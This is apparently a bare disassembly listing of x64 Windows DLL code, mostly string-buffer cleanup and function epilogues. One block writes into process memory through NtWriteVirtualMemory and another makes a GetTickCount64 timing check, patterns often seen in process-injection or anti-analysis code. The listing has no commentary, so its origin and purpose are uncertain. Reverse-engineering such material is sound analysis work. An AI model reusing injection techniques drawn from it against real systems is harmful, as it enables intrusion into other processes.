mov qword [rbp], rax
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], rsi
mov rax, qword [rbp + 0x220]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x10], r13
xor esi, esi
mov qword [rbp - 0x20], rsi
lea rdx, [rbp - 0x40]
lea ecx, [rsi + 0xe]
call fcn.18002c840
mov dword [0x1803670c8], eax
test eax, eax
sete al
jmp 0x180023462
xor r11d, r11d
mov qword [rsp + 0x20], r11
mov r9, r13
mov r8, qword [rbp + 0x220]
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
xor esi, esi
test al, al
jne 0x180023518
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r12
jbe 0x1800232b0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800234b4
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800234af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023653
call fcn.1800bdc0c
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800234fe
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1800234f9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023659
mov rcx, r8
call fcn.1800bdc0c
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], send
mov byte [r14], 0
mov eax, 0xbbe
jmp 0x1800235fc
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180023553
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002354e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002365f
call fcn.1800bdc0c
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18002359d
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180023598
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], send
mov byte [r14], 0
xor eax, eax
jmp 0x1800235fc
mov rdx, qword [rdx + 0x18]
cmp rdx, 0x10
jb 0x1800235e7
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1800235e2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov eax, 0xbb8
mov byte [r14], 0
mov qword [r14 + 0x18], send
mov qword [r14 + 0x10], r13
lea r11, [rsp + 0x2c8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180003190
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.180008460
nop
call fcn.1800030c0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
nop
call fcn.1800c9ad0
int3